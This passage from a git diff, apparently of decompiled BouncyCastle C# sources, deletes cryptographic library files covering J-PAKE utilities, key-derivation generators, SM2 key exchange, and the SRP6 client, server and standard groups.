BigInteger x2, BigInteger s) - { - return x2.Multiply(s).Mod(q); - } - - public static BigInteger CalculateA(BigInteger p, BigInteger q, BigInteger gA, BigInteger x2s) - { - return gA.ModPow(x2s, p); - } - - public static BigInteger[] CalculateZeroKnowledgeProof(BigInteger p, BigInteger q, BigInteger g, BigInteger gx, BigInteger x, string participantId, IDigest digest, SecureRandom random) - { - BigInteger zero = Zero; - BigInteger max = q.Subtract(One); - BigInteger bigInteger = BigIntegers.CreateRandomInRange(zero, max, random); - BigInteger bigInteger2 = g.ModPow(bigInteger, p); - BigInteger val = CalculateHashForZeroKnowledgeProof(g, bigInteger2, gx, participantId, digest); - return new BigInteger[2] - { - bigInteger2, - bigInteger.Subtract(x.Multiply(val)).Mod(q) - }; - } - - private static BigInteger CalculateHashForZeroKnowledgeProof(BigInteger g, BigInteger gr, BigInteger gx, string participantId, IDigest digest) - { - digest.Reset(); - UpdateDigestIncludingSize(digest, g); - UpdateDigestIncludingSize(digest, gr); - UpdateDigestIncludingSize(digest, gx); - UpdateDigestIncludingSize(digest, participantId); - byte[] bytes = DigestUtilities.DoFinal(digest); - return new BigInteger(bytes); - } - - public static void ValidateGx4(BigInteger gx4) - { - if (gx4.Equals(One)) - { - throw new CryptoException("g^x validation failed. g^x should not be 1."); - } - } - - public static void ValidateGa(BigInteger ga) - { - if (ga.Equals(One)) - { - throw new CryptoException("ga is equal to 1. It should not be. The chances of this happening are on the order of 2^160 for a 160-bit q. Try again."); - } - } - - public static void ValidateZeroKnowledgeProof(BigInteger p, BigInteger q, BigInteger g, BigInteger gx, BigInteger[] zeroKnowledgeProof, string participantId, IDigest digest) - { - BigInteger bigInteger = zeroKnowledgeProof[0]; - BigInteger e = zeroKnowledgeProof[1]; - BigInteger e2 = CalculateHashForZeroKnowledgeProof(g, bigInteger, gx, participantId, digest); - if (gx.CompareTo(Zero) != 1 || gx.CompareTo(p) != -1 || gx.ModPow(q, p).CompareTo(One) != 0 || g.ModPow(e, p).Multiply(gx.ModPow(e2, p)).Mod(p) - .CompareTo(bigInteger) != 0) - { - throw new CryptoException("Zero-knowledge proof validation failed"); - } - } - - public static BigInteger CalculateKeyingMaterial(BigInteger p, BigInteger q, BigInteger gx4, BigInteger x2, BigInteger s, BigInteger B) - { - return gx4.ModPow(x2.Multiply(s).Negate().Mod(q), p).Multiply(B).ModPow(x2, p); - } - - public static void ValidateParticipantIdsDiffer(string participantId1, string participantId2) - { - if (participantId1.Equals(participantId2)) - { - throw new CryptoException("Both participants are using the same participantId (" + participantId1 + "). This is not allowed. Each participant must use a unique participantId."); - } - } - - public static void ValidateParticipantIdsEqual(string expectedParticipantId, string actualParticipantId) - { - if (!expectedParticipantId.Equals(actualParticipantId)) - { - throw new CryptoException("Received payload from incorrect partner (" + actualParticipantId + "). Expected to receive payload from " + expectedParticipantId + "."); - } - } - - public static void ValidateNotNull(object obj, string description) - { - if (obj == null) - { - throw new ArgumentNullException(description); - } - } - - public static BigInteger CalculateMacTag(string participantId, string partnerParticipantId, BigInteger gx1, BigInteger gx2, BigInteger gx3, BigInteger gx4, BigInteger keyingMaterial, IDigest digest) - { - byte[] array = CalculateMacKey(keyingMaterial, digest); - HMac hMac = new HMac(digest); - hMac.Init(new KeyParameter(array)); - Arrays.Fill(array, 0); - UpdateMac(hMac, "KC_1_U"); - UpdateMac(hMac, participantId); - UpdateMac(hMac, partnerParticipantId); - UpdateMac(hMac, gx1); - UpdateMac(hMac, gx2); - UpdateMac(hMac, gx3); - UpdateMac(hMac, gx4); - byte[] bytes = MacUtilities.DoFinal(hMac); - return new BigInteger(bytes); - } - - private static byte[] CalculateMacKey(BigInteger keyingMaterial, IDigest digest) - { - digest.Reset(); - UpdateDigest(digest, keyingMaterial); - UpdateDigest(digest, "JPAKE_KC"); - return DigestUtilities.DoFinal(digest); - } - - public static void ValidateMacTag(string participantId, string partnerParticipantId, BigInteger gx1, BigInteger gx2, BigInteger gx3, BigInteger gx4, BigInteger keyingMaterial, IDigest digest, BigInteger partnerMacTag) - { - BigInteger bigInteger = CalculateMacTag(partnerParticipantId, participantId, gx3, gx4, gx1, gx2, keyingMaterial, digest); - if (!bigInteger.Equals(partnerMacTag)) - { - throw new CryptoException("Partner MacTag validation failed. Therefore, the password, MAC, or digest algorithm of each participant does not match."); - } - } - - private static void UpdateDigest(IDigest digest, BigInteger bigInteger) - { - UpdateDigest(digest, BigIntegers.AsUnsignedByteArray(bigInteger)); - } - - private static void UpdateDigest(IDigest digest, string str) - { - UpdateDigest(digest, Encoding.UTF8.GetBytes(str)); - } - - private static void UpdateDigest(IDigest digest, byte[] bytes) - { - digest.BlockUpdate(bytes, 0, bytes.Length); - Arrays.Fill(bytes, 0); - } - - private static void UpdateDigestIncludingSize(IDigest digest, BigInteger bigInteger) - { - UpdateDigestIncludingSize(digest, BigIntegers.AsUnsignedByteArray(bigInteger)); - } - - private static void UpdateDigestIncludingSize(IDigest digest, string str) - { - UpdateDigestIncludingSize(digest, Encoding.UTF8.GetBytes(str)); - } - - private static void UpdateDigestIncludingSize(IDigest digest, byte[] bytes) - { - digest.BlockUpdate(IntToByteArray(bytes.Length), 0, 4); - digest.BlockUpdate(bytes, 0, bytes.Length); - Arrays.Fill(bytes, 0); - } - - private static void UpdateMac(IMac mac, BigInteger bigInteger) - { - UpdateMac(mac, BigIntegers.AsUnsignedByteArray(bigInteger)); - } - - private static void UpdateMac(IMac mac, string str) - { - UpdateMac(mac, Encoding.UTF8.GetBytes(str)); - } - - private static void UpdateMac(IMac mac, byte[] bytes) - { - mac.BlockUpdate(bytes, 0, bytes.Length); - Arrays.Fill(bytes, 0); - } - - private static byte[] IntToByteArray(int value) - { - return Pack.UInt32_To_BE((uint)value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/ConcatenationKdfGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/ConcatenationKdfGenerator.cs deleted file mode 100644 index 89058b2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/ConcatenationKdfGenerator.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Agreement.Kdf; - -public class ConcatenationKdfGenerator : IDerivationFunction -{ - private readonly IDigest mDigest; - - private byte[] mShared; - - private byte[] mOtherInfo; - - private int mHLen; - - public virtual IDigest Digest => mDigest; - - public ConcatenationKdfGenerator(IDigest digest) - { - mDigest = digest; - mHLen = digest.GetDigestSize(); - } - - public virtual void Init(IDerivationParameters param) - { - if (!(param is KdfParameters)) - { - throw new ArgumentException("KDF parameters required for ConcatenationKdfGenerator"); - } - KdfParameters kdfParameters = (KdfParameters)param; - mShared = kdfParameters.GetSharedSecret(); - mOtherInfo = kdfParameters.GetIV(); - } - - public virtual int GenerateBytes(byte[] outBytes, int outOff, int len) - { - if (outBytes.Length - len < outOff) - { - throw new DataLengthException("output buffer too small"); - } - byte[] array = new byte[mHLen]; - byte[] array2 = new byte[4]; - uint n = 1u; - int num = 0; - mDigest.Reset(); - if (len > mHLen) - { - do - { - Pack.UInt32_To_BE(n, array2); - mDigest.BlockUpdate(array2, 0, array2.Length); - mDigest.BlockUpdate(mShared, 0, mShared.Length); - mDigest.BlockUpdate(mOtherInfo, 0, mOtherInfo.Length); - mDigest.DoFinal(array, 0); - Array.Copy(array, 0, outBytes, outOff + num, mHLen); - num += mHLen; - } - while (n++ < len / mHLen); - } - if (num < len) - { - Pack.UInt32_To_BE(n, array2); - mDigest.BlockUpdate(array2, 0, array2.Length); - mDigest.BlockUpdate(mShared, 0, mShared.Length); - mDigest.BlockUpdate(mOtherInfo, 0, mOtherInfo.Length); - mDigest.DoFinal(array, 0); - Array.Copy(array, 0, outBytes, outOff + num, len - num); - } - return len; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/DHKdfParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/DHKdfParameters.cs deleted file mode 100644 index 093f1cf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/DHKdfParameters.cs +++ /dev/null @@ -1,41 +0,0 @@ -using Org.BouncyCastle.Asn1; - -namespace Org.BouncyCastle.Crypto.Agreement.Kdf; - -public class DHKdfParameters : IDerivationParameters -{ - private readonly DerObjectIdentifier algorithm; - - private readonly int keySize; - - private readonly byte[] z; - - private readonly byte[] extraInfo; - - public DerObjectIdentifier Algorithm => algorithm; - - public int KeySize => keySize; - - public DHKdfParameters(DerObjectIdentifier algorithm, int keySize, byte[] z) - : this(algorithm, keySize, z, null) - { - } - - public DHKdfParameters(DerObjectIdentifier algorithm, int keySize, byte[] z, byte[] extraInfo) - { - this.algorithm = algorithm; - this.keySize = keySize; - this.z = z; - this.extraInfo = extraInfo; - } - - public byte[] GetZ() - { - return z; - } - - public byte[] GetExtraInfo() - { - return extraInfo; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/DHKekGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/DHKekGenerator.cs deleted file mode 100644 index 88b446e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/DHKekGenerator.cs +++ /dev/null @@ -1,78 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Agreement.Kdf; - -public class DHKekGenerator : IDerivationFunction -{ - private readonly IDigest digest; - - private DerObjectIdentifier algorithm; - - private int keySize; - - private byte[] z; - - private byte[] partyAInfo; - - public virtual IDigest Digest => digest; - - public DHKekGenerator(IDigest digest) - { - this.digest = digest; - } - - public virtual void Init(IDerivationParameters param) - { - DHKdfParameters dHKdfParameters = (DHKdfParameters)param; - algorithm = dHKdfParameters.Algorithm; - keySize = dHKdfParameters.KeySize; - z = dHKdfParameters.GetZ(); - partyAInfo = dHKdfParameters.GetExtraInfo(); - } - - public virtual int GenerateBytes(byte[] outBytes, int outOff, int len) - { - if (outBytes.Length - len < outOff) - { - throw new DataLengthException("output buffer too small"); - } - long num = len; - int digestSize = digest.GetDigestSize(); - if (num > 8589934591L) - { - throw new ArgumentException("Output length too large"); - } - int num2 = (int)((num + digestSize - 1) / digestSize); - byte[] array = new byte[digest.GetDigestSize()]; - uint num3 = 1u; - for (int i = 0; i < num2; i++) - { - digest.BlockUpdate(z, 0, z.Length); - DerSequence derSequence = new DerSequence(algorithm, new DerOctetString(Pack.UInt32_To_BE(num3))); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(derSequence); - if (partyAInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, new DerOctetString(partyAInfo))); - } - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, new DerOctetString(Pack.UInt32_To_BE((uint)keySize)))); - byte[] derEncoded = new DerSequence(asn1EncodableVector).GetDerEncoded(); - digest.BlockUpdate(derEncoded, 0, derEncoded.Length); - digest.DoFinal(array, 0); - if (len > digestSize) - { - Array.Copy(array, 0, outBytes, outOff, digestSize); - outOff += digestSize; - len -= digestSize; - } - else - { - Array.Copy(array, 0, outBytes, outOff, len); - } - num3++; - } - digest.Reset(); - return (int)num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/ECDHKekGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/ECDHKekGenerator.cs deleted file mode 100644 index cd4c62c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Kdf/ECDHKekGenerator.cs +++ /dev/null @@ -1,40 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Crypto.Agreement.Kdf; - -public class ECDHKekGenerator : IDerivationFunction -{ - private readonly IDerivationFunction kdf; - - private DerObjectIdentifier algorithm; - - private int keySize; - - private byte[] z; - - public virtual IDigest Digest => kdf.Digest; - - public ECDHKekGenerator(IDigest digest) - { - kdf = new Kdf2BytesGenerator(digest); - } - - public virtual void Init(IDerivationParameters param) - { - DHKdfParameters dHKdfParameters = (DHKdfParameters)param; - algorithm = dHKdfParameters.Algorithm; - keySize = dHKdfParameters.KeySize; - z = dHKdfParameters.GetZ(); - } - - public virtual int GenerateBytes(byte[] outBytes, int outOff, int len) - { - DerSequence derSequence = new DerSequence(new AlgorithmIdentifier(algorithm, DerNull.Instance), new DerTaggedObject(explicitly: true, 2, new DerOctetString(Pack.UInt32_To_BE((uint)keySize)))); - kdf.Init(new KdfParameters(z, derSequence.GetDerEncoded())); - return kdf.GenerateBytes(outBytes, outOff, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/SM2KeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/SM2KeyExchange.cs deleted file mode 100644 index 62e03ec..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/SM2KeyExchange.cs +++ /dev/null @@ -1,246 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Agreement; - -public class SM2KeyExchange -{ - private readonly IDigest mDigest; - - private byte[] mUserID; - - private ECPrivateKeyParameters mStaticKey; - - private ECPoint mStaticPubPoint; - - private ECPoint mEphemeralPubPoint; - - private ECDomainParameters mECParams; - - private int mW; - - private ECPrivateKeyParameters mEphemeralKey; - - private bool mInitiator; - - public SM2KeyExchange() - : this(new SM3Digest()) - { - } - - public SM2KeyExchange(IDigest digest) - { - mDigest = digest; - } - - public virtual void Init(ICipherParameters privParam) - { - SM2KeyExchangePrivateParameters sM2KeyExchangePrivateParameters; - if (privParam is ParametersWithID) - { - sM2KeyExchangePrivateParameters = (SM2KeyExchangePrivateParameters)((ParametersWithID)privParam).Parameters; - mUserID = ((ParametersWithID)privParam).GetID(); - } - else - { - sM2KeyExchangePrivateParameters = (SM2KeyExchangePrivateParameters)privParam; - mUserID = new byte[0]; - } - mInitiator = sM2KeyExchangePrivateParameters.IsInitiator; - mStaticKey = sM2KeyExchangePrivateParameters.StaticPrivateKey; - mEphemeralKey = sM2KeyExchangePrivateParameters.EphemeralPrivateKey; - mECParams = mStaticKey.Parameters; - mStaticPubPoint = sM2KeyExchangePrivateParameters.StaticPublicPoint; - mEphemeralPubPoint = sM2KeyExchangePrivateParameters.EphemeralPublicPoint; - mW = mECParams.Curve.FieldSize / 2 - 1; - } - - public virtual byte[] CalculateKey(int kLen, ICipherParameters pubParam) - { - SM2KeyExchangePublicParameters sM2KeyExchangePublicParameters; - byte[] userID; - if (pubParam is ParametersWithID) - { - sM2KeyExchangePublicParameters = (SM2KeyExchangePublicParameters)((ParametersWithID)pubParam).Parameters; - userID = ((ParametersWithID)pubParam).GetID(); - } - else - { - sM2KeyExchangePublicParameters = (SM2KeyExchangePublicParameters)pubParam; - userID = new byte[0]; - } - byte[] z = GetZ(mDigest, mUserID, mStaticPubPoint); - byte[] z2 = GetZ(mDigest, userID, sM2KeyExchangePublicParameters.StaticPublicKey.Q); - ECPoint u = CalculateU(sM2KeyExchangePublicParameters); - if (mInitiator) - { - return Kdf(u, z, z2, kLen); - } - return Kdf(u, z2, z, kLen); - } - - public virtual byte[][] CalculateKeyWithConfirmation(int kLen, byte[] confirmationTag, ICipherParameters pubParam) - { - SM2KeyExchangePublicParameters sM2KeyExchangePublicParameters; - byte[] userID; - if (pubParam is ParametersWithID) - { - sM2KeyExchangePublicParameters = (SM2KeyExchangePublicParameters)((ParametersWithID)pubParam).Parameters; - userID = ((ParametersWithID)pubParam).GetID(); - } - else - { - sM2KeyExchangePublicParameters = (SM2KeyExchangePublicParameters)pubParam; - userID = new byte[0]; - } - if (mInitiator && confirmationTag == null) - { - throw new ArgumentException("if initiating, confirmationTag must be set"); - } - byte[] z = GetZ(mDigest, mUserID, mStaticPubPoint); - byte[] z2 = GetZ(mDigest, userID, sM2KeyExchangePublicParameters.StaticPublicKey.Q); - ECPoint u = CalculateU(sM2KeyExchangePublicParameters); - byte[] array; - if (mInitiator) - { - array = Kdf(u, z, z2, kLen); - byte[] inner = CalculateInnerHash(mDigest, u, z, z2, mEphemeralPubPoint, sM2KeyExchangePublicParameters.EphemeralPublicKey.Q); - byte[] a = S1(mDigest, u, inner); - if (!Arrays.ConstantTimeAreEqual(a, confirmationTag)) - { - throw new InvalidOperationException("confirmation tag mismatch"); - } - return new byte[2][] - { - array, - S2(mDigest, u, inner) - }; - } - array = Kdf(u, z2, z, kLen); - byte[] inner2 = CalculateInnerHash(mDigest, u, z2, z, sM2KeyExchangePublicParameters.EphemeralPublicKey.Q, mEphemeralPubPoint); - return new byte[3][] - { - array, - S1(mDigest, u, inner2), - S2(mDigest, u, inner2) - }; - } - - protected virtual ECPoint CalculateU(SM2KeyExchangePublicParameters otherPub) - { - ECDomainParameters parameters = mStaticKey.Parameters; - ECPoint p = ECAlgorithms.CleanPoint(parameters.Curve, otherPub.StaticPublicKey.Q); - ECPoint eCPoint = ECAlgorithms.CleanPoint(parameters.Curve, otherPub.EphemeralPublicKey.Q); - BigInteger bigInteger = Reduce(mEphemeralPubPoint.AffineXCoord.ToBigInteger()); - BigInteger val = Reduce(eCPoint.AffineXCoord.ToBigInteger()); - BigInteger val2 = mStaticKey.D.Add(bigInteger.Multiply(mEphemeralKey.D)); - BigInteger bigInteger2 = mECParams.H.Multiply(val2).Mod(mECParams.N); - BigInteger b = bigInteger2.Multiply(val).Mod(mECParams.N); - return ECAlgorithms.SumOfTwoMultiplies(p, bigInteger2, eCPoint, b).Normalize(); - } - - protected virtual byte[] Kdf(ECPoint u, byte[] za, byte[] zb, int klen) - { - int digestSize = mDigest.GetDigestSize(); - byte[] array = new byte[System.Math.Max(4, digestSize)]; - byte[] array2 = new byte[(klen + 7) / 8]; - int i = 0; - IMemoable memoable = mDigest as IMemoable; - IMemoable other = null; - if (memoable != null) - { - AddFieldElement(mDigest, u.AffineXCoord); - AddFieldElement(mDigest, u.AffineYCoord); - mDigest.BlockUpdate(za, 0, za.Length); - mDigest.BlockUpdate(zb, 0, zb.Length); - other = memoable.Copy(); - } - uint num = 0u; - int num2; - for (; i < array2.Length; i += num2) - { - if (memoable != null) - { - memoable.Reset(other); - } - else - { - AddFieldElement(mDigest, u.AffineXCoord); - AddFieldElement(mDigest, u.AffineYCoord); - mDigest.BlockUpdate(za, 0, za.Length); - mDigest.BlockUpdate(zb, 0, zb.Length); - } - Pack.UInt32_To_BE(++num, array, 0); - mDigest.BlockUpdate(array, 0, 4); - mDigest.DoFinal(array, 0); - num2 = System.Math.Min(digestSize, array2.Length - i); - Array.Copy(array, 0, array2, i, num2); - } - return array2; - } - - private BigInteger Reduce(BigInteger x) - { - return x.And(BigInteger.One.ShiftLeft(mW).Subtract(BigInteger.One)).SetBit(mW); - } - - private byte[] S1(IDigest digest, ECPoint u, byte[] inner) - { - digest.Update(2); - AddFieldElement(digest, u.AffineYCoord); - digest.BlockUpdate(inner, 0, inner.Length); - return DigestUtilities.DoFinal(digest); - } - - private byte[] CalculateInnerHash(IDigest digest, ECPoint u, byte[] za, byte[] zb, ECPoint p1, ECPoint p2) - { - AddFieldElement(digest, u.AffineXCoord); - digest.BlockUpdate(za, 0, za.Length); - digest.BlockUpdate(zb, 0, zb.Length); - AddFieldElement(digest, p1.AffineXCoord); - AddFieldElement(digest, p1.AffineYCoord); - AddFieldElement(digest, p2.AffineXCoord); - AddFieldElement(digest, p2.AffineYCoord); - return DigestUtilities.DoFinal(digest); - } - - private byte[] S2(IDigest digest, ECPoint u, byte[] inner) - { - digest.Update(3); - AddFieldElement(digest, u.AffineYCoord); - digest.BlockUpdate(inner, 0, inner.Length); - return DigestUtilities.DoFinal(digest); - } - - private byte[] GetZ(IDigest digest, byte[] userID, ECPoint pubPoint) - { - AddUserID(digest, userID); - AddFieldElement(digest, mECParams.Curve.A); - AddFieldElement(digest, mECParams.Curve.B); - AddFieldElement(digest, mECParams.G.AffineXCoord); - AddFieldElement(digest, mECParams.G.AffineYCoord); - AddFieldElement(digest, pubPoint.AffineXCoord); - AddFieldElement(digest, pubPoint.AffineYCoord); - return DigestUtilities.DoFinal(digest); - } - - private void AddUserID(IDigest digest, byte[] userID) - { - uint num = (uint)(userID.Length * 8); - digest.Update((byte)(num >> 8)); - digest.Update((byte)num); - digest.BlockUpdate(userID, 0, userID.Length); - } - - private void AddFieldElement(IDigest digest, ECFieldElement v) - { - byte[] encoded = v.GetEncoded(); - digest.BlockUpdate(encoded, 0, encoded.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Client.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Client.cs deleted file mode 100644 index 4147d85..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Client.cs +++ /dev/null @@ -1,111 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Agreement.Srp; - -public class Srp6Client -{ - protected BigInteger N; - - protected BigInteger g; - - protected BigInteger privA; - - protected BigInteger pubA; - - protected BigInteger B; - - protected BigInteger x; - - protected BigInteger u; - - protected BigInteger S; - - protected BigInteger M1; - - protected BigInteger M2; - - protected BigInteger Key; - - protected IDigest digest; - - protected SecureRandom random; - - public virtual void Init(BigInteger N, BigInteger g, IDigest digest, SecureRandom random) - { - this.N = N; - this.g = g; - this.digest = digest; - this.random = random; - } - - public virtual void Init(Srp6GroupParameters group, IDigest digest, SecureRandom random) - { - Init(group.N, group.G, digest, random); - } - - public virtual BigInteger GenerateClientCredentials(byte[] salt, byte[] identity, byte[] password) - { - x = Srp6Utilities.CalculateX(digest, N, salt, identity, password); - privA = SelectPrivateValue(); - pubA = g.ModPow(privA, N); - return pubA; - } - - public virtual BigInteger CalculateSecret(BigInteger serverB) - { - B = Srp6Utilities.ValidatePublicValue(N, serverB); - u = Srp6Utilities.CalculateU(digest, N, pubA, B); - S = CalculateS(); - return S; - } - - protected virtual BigInteger SelectPrivateValue() - { - return Srp6Utilities.GeneratePrivateValue(digest, N, g, random); - } - - private BigInteger CalculateS() - { - BigInteger val = Srp6Utilities.CalculateK(digest, N, g); - BigInteger e = u.Multiply(x).Add(privA); - BigInteger n = g.ModPow(x, N).Multiply(val).Mod(N); - return B.Subtract(n).Mod(N).ModPow(e, N); - } - - public virtual BigInteger CalculateClientEvidenceMessage() - { - if (pubA == null || B == null || S == null) - { - throw new CryptoException("Impossible to compute M1: some data are missing from the previous operations (A,B,S)"); - } - M1 = Srp6Utilities.CalculateM1(digest, N, pubA, B, S); - return M1; - } - - public virtual bool VerifyServerEvidenceMessage(BigInteger serverM2) - { - if (pubA == null || M1 == null || S == null) - { - throw new CryptoException("Impossible to compute and verify M2: some data are missing from the previous operations (A,M1,S)"); - } - BigInteger bigInteger = Srp6Utilities.CalculateM2(digest, N, pubA, M1, S); - if (bigInteger.Equals(serverM2)) - { - M2 = serverM2; - return true; - } - return false; - } - - public virtual BigInteger CalculateSessionKey() - { - if (S == null || M1 == null || M2 == null) - { - throw new CryptoException("Impossible to compute Key: some data are missing from the previous operations (S,M1,M2)"); - } - Key = Srp6Utilities.CalculateKey(digest, N, S); - return Key; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Server.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Server.cs deleted file mode 100644 index 2e43107..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6Server.cs +++ /dev/null @@ -1,111 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Agreement.Srp; - -public class Srp6Server -{ - protected BigInteger N; - - protected BigInteger g; - - protected BigInteger v; - - protected SecureRandom random; - - protected IDigest digest; - - protected BigInteger A; - - protected BigInteger privB; - - protected BigInteger pubB; - - protected BigInteger u; - - protected BigInteger S; - - protected BigInteger M1; - - protected BigInteger M2; - - protected BigInteger Key; - - public virtual void Init(BigInteger N, BigInteger g, BigInteger v, IDigest digest, SecureRandom random) - { - this.N = N; - this.g = g; - this.v = v; - this.random = random; - this.digest = digest; - } - - public virtual void Init(Srp6GroupParameters group, BigInteger v, IDigest digest, SecureRandom random) - { - Init(group.N, group.G, v, digest, random); - } - - public virtual BigInteger GenerateServerCredentials() - { - BigInteger bigInteger = Srp6Utilities.CalculateK(digest, N, g); - privB = SelectPrivateValue(); - pubB = bigInteger.Multiply(v).Mod(N).Add(g.ModPow(privB, N)) - .Mod(N); - return pubB; - } - - public virtual BigInteger CalculateSecret(BigInteger clientA) - { - A = Srp6Utilities.ValidatePublicValue(N, clientA); - u = Srp6Utilities.CalculateU(digest, N, A, pubB); - S = CalculateS(); - return S; - } - - protected virtual BigInteger SelectPrivateValue() - { - return Srp6Utilities.GeneratePrivateValue(digest, N, g, random); - } - - private BigInteger CalculateS() - { - return v.ModPow(u, N).Multiply(A).Mod(N) - .ModPow(privB, N); - } - - public virtual bool VerifyClientEvidenceMessage(BigInteger clientM1) - { - if (A == null || pubB == null || S == null) - { - throw new CryptoException("Impossible to compute and verify M1: some data are missing from the previous operations (A,B,S)"); - } - BigInteger bigInteger = Srp6Utilities.CalculateM1(digest, N, A, pubB, S); - if (bigInteger.Equals(clientM1)) - { - M1 = clientM1; - return true; - } - return false; - } - - public virtual BigInteger CalculateServerEvidenceMessage() - { - if (A == null || M1 == null || S == null) - { - throw new CryptoException("Impossible to compute M2: some data are missing from the previous operations (A,M1,S)"); - } - M2 = Srp6Utilities.CalculateM2(digest, N, A, M1, S); - return M2; - } - - public virtual BigInteger CalculateSessionKey() - { - if (S == null || M1 == null || M2 == null) - { - throw new CryptoException("Impossible to compute Key: some data are missing from the previous operations (S,M1,M2)"); - } - Key = Srp6Utilities.CalculateKey(digest, N, S); - return Key; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6StandardGroups.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6StandardGroups.cs deleted file mode 100644 index 652aa9a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Agreement/Srp/Srp6StandardGroups.cs +++ /dev/null @@ -1,60 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Crypto.Agreement.Srp; - -public class Srp6StandardGroups -{ - private const string rfc5054_1024_N = "EEAF0AB9ADB38DD69C33F80AFA8FC5E86072618775FF3C0B9EA2314C9C256576D674DF7496EA81D3383B4813D692C6E0E0D5D8E250B98BE48E495C1D6089DAD15DC7D7B46154D6B6CE8EF4AD69B15D4982559B297BCF1885C529F566660E57EC68EDBC3C05726CC02FD4CBF4976EAA9AFD5138FE8376435B9FC61D2FC0EB06E3"; - - private const string rfc5054_1024_g = "02"; - - private const string rfc5054_1536_N = "9DEF3CAFB939277AB1F12A8617A47BBBDBA51DF499AC4C80BEEEA9614B19CC4D5F4F5F556E27CBDE51C6A94BE4607A291558903BA0D0F84380B655BB9A22E8DCDF028A7CEC67F0D08134B1C8B97989149B609E0BE3BAB63D47548381DBC5B1FC764E3F4B53DD9DA1158BFD3E2B9C8CF56EDF019539349627DB2FD53D24B7C48665772E437D6C7F8CE442734AF7CCB7AE837C264AE3A9BEB87F8A2FE9B8B5292E5A021FFF5E91479E8CE7A28C2442C6F315180F93499A234DCF76E3FED135F9BB"; - - private const string rfc5054_1536_g = "02"; - - private const string rfc5054_2048_N = "AC6BDB41324A9A9BF166DE5E1389582FAF72B6651987EE07FC3192943DB56050A37329CBB4A099ED8193E0757767A13DD52312AB4B03310DCD7F48A9DA04FD50E8083969EDB767B0CF6095179A163AB3661A05FBD5FAAAE82918A9962F0B93B855F97993EC975EEAA80D740ADBF4FF747359D041D5C33EA71D281E446B14773BCA97B43A23FB801676BD207A436C6481F1D2B9078717461A5B9D32E688F87748544523B524B0D57D5EA77A2775D2ECFA032CFBDBF52FB3786160279004E57AE6AF874E7303CE53299CCC041C7BC308D82A5698F3A8D0C38271AE35F8E9DBFBB694B5C803D89F7AE435DE236D525F54759B65E372FCD68EF20FA7111F9E4AFF73"; - - private const string rfc5054_2048_g = "02"; - - private const string rfc5054_3072_N = 